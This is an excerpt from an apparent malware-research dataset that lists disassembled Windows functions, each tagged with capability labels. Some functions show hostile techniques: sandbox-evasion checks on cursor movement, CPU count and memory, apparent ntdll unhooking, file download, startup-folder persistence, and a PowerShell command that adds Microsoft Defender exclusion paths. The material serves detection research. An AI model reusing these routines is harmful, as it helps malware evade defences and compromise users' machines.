joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002f30
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push rsi
push rbx
sub rsp, 0x48
mov rbx, qword [0x140005910]
mov rsi, qword [sym.imp.USER32.dll_GetCursorPos]
mov rax, qword [rbx]
mov qword [rsp + 0x38], rax
xor eax, eax
lea rcx, [rsp + 0x28]
call rsi
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x30]
call rsi
mov edx, dword [rsp + 0x30]
xor eax, eax
cmp dword [rsp + 0x28], edx
jne 0x140002f7e
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x2c], eax
sete al
mov rdx, qword [rsp + 0x38]
sub rdx, qword [rbx]
je 0x140002f8d
call fcn.140002540
add rsp, 0x48
pop rbx
pop rsi
ret

Function at 0x140002fa0
Capabilities:
Enumerate processes

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x160
mov rdi, qword [0x140005910]
xor edx, edx
mov rax, qword [rdi]
mov qword [rsp + 0x158], rax
xor eax, eax
mov rsi, rcx
mov ecx, 2
mov dword [rsp + 0x28], 0x238
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rbp, [rsp + 0x28]
mov rdx, rbp
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32First
lea r12, [rsp + 0x54]
test eax, eax
jne 0x140002ff8
xor eax, eax
jmp 0x14000301a
mov rdx, rbp
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x140002ff4
mov rdx, rsi
mov rcx, r12
call sub.api_ms_win_crt_string_l1_1_0.dll__stricmp
test eax, eax
jne 0x140002ff8
mov eax, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x158]
sub rdx, qword [rdi]
je 0x14000302c
call fcn.140002540
add rsp, 0x160
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140003040
Capabilities:
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rbx, qword [0x140005910]
mov rax, qword [rbx]
mov qword [rsp + 0x58], rax
xor eax, eax
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x48], 1
setbe al
mov rdx, qword [rsp + 0x58]
sub rdx, qword [rbx]
je 0x140003078
call fcn.140002540
add rsp, 0x60
pop rbx
ret

Function at 0x140003080
Capabilities:
Get local ipv4 addresses

Disassembly:
sub rsp, 0x28
lea rcx, [0x140005090]
call fcn.140002d30
test al, al
jne 0x1400030f4
lea rcx, [0x140005094]
call fcn.140002d30
test al, al
jne 0x1400030f4
lea rcx, [0x140005098]
call fcn.140002d30
test al, al
jne 0x1400030f4
lea rcx, [0x14000509c]
call fcn.140002d30
test al, al
jne 0x1400030f4
lea rcx, [0x1400050a0]
call fcn.140002d30
test al, al
jne 0x1400030f4
lea rcx, [0x1400050a4]
call fcn.140002d30
test al, al
jne 0x1400030f4
lea rcx, [0x1400050a8]
add rsp, 0x28
jmp fcn.140002d30
mov al, 1
add rsp, 0x28
ret

Function at 0x140003100
Capabilities:
Get memory capacity

Disassembly:
push rbx
sub rsp, 0x70
mov rbx, qword [0x140005910]
mov rax, qword [rbx]
mov qword [rsp + 0x68], rax
xor eax, eax
mov dword [rsp + 0x28], 0x40
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp qword [rsp + 0x30], 0x7fffffff
setbe al
mov rdx, qword [rsp + 0x68]
sub rdx, qword [rbx]
je 0x140003144
call fcn.140002540
add rsp, 0x70
pop rbx
ret
Function at 0x140003370
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x250
mov rbx, qword [0x140005910]
lea rsi, section..rdata
mov rax, qword [rbx]
mov qword [rsp + 0x248], rax
xor eax, eax
lea rdi, [rsp + 0x28]
mov r9, rcx
mov ecx, 8
rep movsd dword [rdi], dword [rsi]
lea r10, [rsp + 0x148]
mov r11, rdx
lea rbp, [rsp + 0x48]
mov rdx, rax
mov byte [rax + r10], al
inc rax
and edx, 0x1f
mov dl, byte [rsp + rdx + 0x28]
mov byte [rax + rbp - 1], dl
cmp rax, 0x100
jne 0x1400033bb
mov r12, r10
xor esi, esi
xor r13d, r13d
mov edi, 0x100
movzx eax, byte [r12]
movzx edx, byte [rbp + rsi]
inc rsi
add eax, r13d
add eax, edx
cdq
idiv edi
movsxd rcx, edx
mov rdx, r12
inc r12
mov r13, rcx
add rcx, r10
call fcn.140002ca0
cmp rsi, 0x100
jne 0x1400033e5
lea rdi, [r9 + r11]
xor ebp, ebp
xor r12d, r12d
cmp rdi, r9
je 0x140003475
lea eax, [rbp + 1]
cdq
idiv esi
movsxd r13, edx
movzx eax, byte [rsp + r13 + 0x148]
lea rcx, [r10 + r13]
mov rbp, r13
add eax, r12d
cdq
idiv esi
movsxd r14, edx
lea rdx, [r10 + r14]
mov r12, r14
call fcn.140002ca0
mov cl, byte [rsp + r14 + 0x148]
add cl, byte [rsp + r13 + 0x148]
movzx ecx, cl
mov al, byte [rsp + rcx + 0x148]
xor byte [r9], al
inc r9
jmp 0x140003420
mov rax, qword [rsp + 0x248]
sub rax, qword [rbx]
je 0x140003487
call fcn.140002540
mov rax, r11
add rsp, 0x250
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret

Function at 0x140003630
Capabilities:
Allocate or change rwx memory

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rdi, qword [0x140005910]
xor r13d, r13d
mov rax, qword [rdi]
mov qword [rsp + 0x38], rax
xor eax, eax
call fcn.140002a40
lea rcx, str.ntdll.dll
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movsxd rbx, dword [rbp + 0x3c]
mov r12, rax
xor eax, eax
mov dword [rsp + 0x34], eax
add rbx, rbp
lea r15, [rbx + 0x18]
movzx eax, word [rbx + 6]
cmp eax, r13d
jle 0x14000370a
imul rax, r13, 0x28
movzx r10d, word [rbx + 0x14]
lea rdx, str..text
add r10, r15
lea r14, [r10 + rax]
mov rcx, r14
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x1400036b2
inc r13
jmp 0x14000367d
mov ecx, dword [r14 + 0xc]
lea r9, [rsp + 0x34]
mov r8d, 0x40
mov edx, dword [r14 + 8]
mov qword [rsp + 0x28], r9
add rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000370a
mov esi, dword [r14 + 0xc]
mov ecx, dword [r14 + 8]
mov r9, qword [rsp + 0x28]
lea rax, [r12 + rsi]
add rsi, rbp
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
mov ecx, dword [r14 + 0xc]
mov edx, dword [r14 + 8]
mov r8d, dword [rsp + 0x34]
add rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400036ad
mov rdi, qword [0x140005910]
mov rax, qword [rsp + 0x38]
sub rax, qword [rdi]
je 0x140003721
call fcn.140002540
nop
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x401790
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movsxd rbp, dword [0x00407054]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x4018aa
mov rax, qword [0x00407058]
xor r9d, r9d
add rax, 8
mov r10, qword [rax]
cmp rbx, r10
jb 0x4017de
mov rdx, qword [rax + 8]
mov r11d, dword [rdx + 8]
add r10, r11
cmp rbx, r10
jb 0x401890
add r9d, 1
add rax, 0x18
cmp r9d, ebp
jne 0x4017c2
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x4018e2
lea rbp, [rbp + rbp*2]
shl rbp, 3
mov r13, rbp
add r13, qword [0x00407058]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call dbg._GetPEImageBase
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x00407058]
mov rcx, qword [rax + rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x4018c5
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401889
sub eax, 0x40
and eax, 0xffffffbf
je 0x401889
mov r9, rbp
add r9, qword [0x00407058]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x4018b1
add dword [0x00407054], 1
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sym.memcpy
xor ebp, ebp
jmp 0x4017eb
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
mov rax, qword [0x00407058]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbp + 8]
call dbg.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call dbg.__report_error
nop
nop word cs:[rax + rax]

Function at 0x4024c0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x4024d0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x4024e0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402521
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402518
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x402523
add rax, 0x28
cmp rax, r9
jne 0x402504
xor eax, eax
repz ret

Function at 0x4025d0
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x004042e0]
cmp word [rbx], 0x5a4d
je 0x4025f0
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rsi, rcx
mov rcx, rbx
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4025e4
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp dbg._FindPESection
Function at 0x402840
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x004079c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004079a0]
test rbx, rbx
je 0x402894
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40288b
test rsi, rsi
je 0x40288b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402870
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x004079c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
Function at 0x140003a70
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rcx, qword [rsp + 0x68]
call fcn.140004b70
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x60]
call fcn.140004b70
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
jne 0x140003acf
mov dword [rsp + 0x30], 1
jmp 0x140003ad7
mov dword [rsp + 0x30], 0
movzx eax, byte [rsp + 0x30]
add rsp, 0x58
ret
Function at 0x140003b90
Capabilities:
Get common file path
Get startup folder

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x338
mov rax, qword [0x140011010]
xor rax, rsp
mov qword [rsp + 0x320], rax
mov qword [rsp + 0xc0], 0
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x20], rax
lea r9, [0x14000d4e0]
mov r8d, 1
xor edx, edx
lea rcx, [0x14000d500]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
jl 0x140003e10
mov rax, qword [rsp + 0xc0]
mov rax, qword [rax]
mov rax, qword [rax + 0xa0]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x340]
call fcn.140004b70
mov qword [rsp + 0x38], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0xc0]
call qword [rsp + 0x40]
mov rax, qword [rsp + 0xc0]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
lea r8, [rsp + 0xc8]
lea rdx, [0x14000d4f0]
mov rcx, qword [rsp + 0xc0]
call qword [rsp + 0x48]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
jl 0x140003dfa
xor r9d, r9d
mov r8d, 7
lea rdx, [rsp + 0x110]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x140003de4
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0xf0]
call fcn.140004ea0
nop
lea r8, [0x14000d784]
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0xa0]
call fcn.140006f40
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
mov r8, qword [rsp + 0x348]
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x80]
call fcn.140007060
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x68], rax
lea r8, str..lnk
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0xd0]
call fcn.140007010
nop
lea rcx, [rsp + 0x80]
call fcn.140004df0
nop
lea rcx, [rsp + 0xa0]
call fcn.140004df0
mov rax, qword [rsp + 0xc8]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0xd0]
call fcn.140004b70
mov qword [rsp + 0x70], rax
mov r8d, 1
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0xc8]
call qword [rsp + 0x78]
mov dword [rsp + 0x34], eax
mov rax, qword [rsp + 0xc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc8]
call qword [rax + 0x10]
cmp dword [rsp + 0x34], 0
jl 0x140003dc9
mov rax, qword [rsp + 0xc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc0]
call qword [rax + 0x10]
mov byte [rsp + 0x30], 1
lea rcx, [rsp + 0xd0]
call fcn.140004df0
nop
lea rcx, [rsp + 0xf0]
call fcn.140004df0
movzx eax, byte [rsp + 0x30]
jmp 0x140003e12
lea rcx, [rsp + 0xd0]
call fcn.140004df0
nop
lea rcx, [rsp + 0xf0]
call fcn.140004df0
mov rax, qword [rsp + 0xc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc8]
call qword [rax + 0x10]
mov rax, qword [rsp + 0xc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc0]
call qword [rax + 0x10]
xor al, al
mov rcx, qword [rsp + 0x320]
xor rcx, rsp
call fcn.14000b240
add rsp, 0x338
ret
Function at 0x140003e30
Capabilities:
Create process on windows

Disassembly:
push rdi
sub rsp, 0x1a0
mov rax, qword [0x140011010]
xor rax, rsp
mov qword [rsp + 0x190], rax
lea rdx, [0x14000d788]
lea rcx, [rsp + 0xd8]
call fcn.140004ea0
nop
lea r8, [0x140011850]
lea rdx, [0x14000d798]
lea rcx, [rsp + 0xa0]
call fcn.1400070b0
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x60], rax
lea r8, [0x14000d790]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x80]
call fcn.140007010
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0xd8]
call fcn.140004dc0
nop
lea rcx, [rsp + 0x80]
call fcn.140004df0
nop
lea rcx, [rsp + 0xa0]
call fcn.140004df0
lea rdx, str._exclusions___Get_MpPreference_.ExclusionPath_
lea rcx, [rsp + 0xd8]
call fcn.140004d90
lea rdx, str.if___exclusionPath__notin__exclusions__
lea rcx, [rsp + 0xd8]
call fcn.140004d90
lea rdx, str.Add_MpPreference__ExclusionPath__exclusionPath_
lea rcx, [rsp + 0xd8]
call fcn.140004d90
lea rdx, [0x14000d78c]
lea rcx, [rsp + 0xd8]
call fcn.140004d90
lea rdx, str.powershell__ExecutionPolicy_Bypass__Command__
lea rcx, [rsp + 0xf8]
call fcn.140004ea0
nop
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0xf8]
call fcn.140004dc0
lea rdx, [0x14000d824]
lea rcx, [rsp + 0xf8]
call fcn.140004d90
lea rax, [rsp + 0x120]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x120], 0x68
mov dword [rsp + 0x15c], 1
xor eax, eax
mov word [rsp + 0x160], ax
lea rax, [rsp + 0xc0]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, [rsp + 0xf8]
call fcn.140004b70
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x120]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140004067
lea rdx, [0x14000d828]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140007180
mov qword [rsp + 0x78], rax
lea rdx, [0x1400075c0]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rsp + 0x50], 1
lea rcx, [rsp + 0xf8]
call fcn.140004df0
nop
lea rcx, [rsp + 0xd8]
call fcn.140004df0
mov eax, dword [rsp + 0x50]
jmp 0x1400040aa
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x54], 0
lea rcx, [rsp + 0xf8]
call fcn.140004df0
nop
lea rcx, [rsp + 0xd8]
call fcn.140004df0
mov eax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.14000b240
add rsp, 0x1a0
pop rdi
ret
Function at 0x140004190
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rcx, qword [rsp + 0x40]
call fcn.140004b70
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0xffffffff
je 0x1400041c1
mov dword [rsp + 0x20], 1
jmp 0x1400041c9
mov dword [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x140004830
Capabilities:
Accept command line arguments

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [0x140011010]
xor rax, rsp
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x28], rax
mov rdx, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x30]
call fcn.140004810
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14000b240
add rsp, 0x48
ret

Function at 0x140009ce0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [0x140011010]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140002900
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.14000a380
nop
lea rax, [0x14000a400]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x40]
call fcn.1400021e0
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rcx, qword [rsp + 0x60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60]
cmp qword [rax], 0
je 0x140009d83
lea rcx, [rsp + 0x40]
call fcn.140009eb0
jmp 0x140009d9b
mov rax, qword [rsp + 0x60]
mov dword [rax + 8], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
lea rcx, [rsp + 0x40]
call fcn.140009ee0
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000b240
add rsp, 0x58
ret

Function at 0x14000b18c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14000b210
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14000d510]
cmp byte [rcx + rax], 0
je 0x14000b210
dec r8
sub rdx, 1
jne 0x14000b1f6
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14000bd44
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000bd8e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000bd8e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000bd8e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000bd8e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000bd8e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000bd90
xor al, al
add rsp, 0x28
ret
Function at 0x14006f640
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1400e9648]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14006f713
cmp byte [rcx + 0x71], 0
je 0x14006f713
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14006f70f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14006f6d4
sub eax, 1
je 0x14006f6d8
cmp eax, 2
jne 0x14006f70f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140096aa0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x14006f706
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14006f70f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14006f6bc
xor al, al
jmp 0x14006f6bc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140096aa0
add rsp, 0x60
pop rbx
ret
Function at 0x140076000
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1400e9648]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14007602d
xor eax, eax
jmp 0x140076182
mov rdx, qword [rcx + 0x40]
mov rax, qword [rdx]
test rax, rax
je 0x140076058
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, rax
cmp rax, r8
jae 0x140076058
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], dil
mov eax, edi
jmp 0x140076182
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140076175
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x14007609b
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400760c6
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14007617a
lea rax, [rsp + 0x48]
mov byte [rsp + 0x40], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x41]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x40]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140076135
sub eax, 1
je 0x140076135
cmp eax, 2
jne 0x140076175
movsx ecx, byte [rsp + 0x40]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14007617a
mov rsi, qword [rsp + 0x48]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140076163
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140076175
lea rax, [rsp + 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x50], rax
mov eax, edi
jne 0x14007617a
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140096aa0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret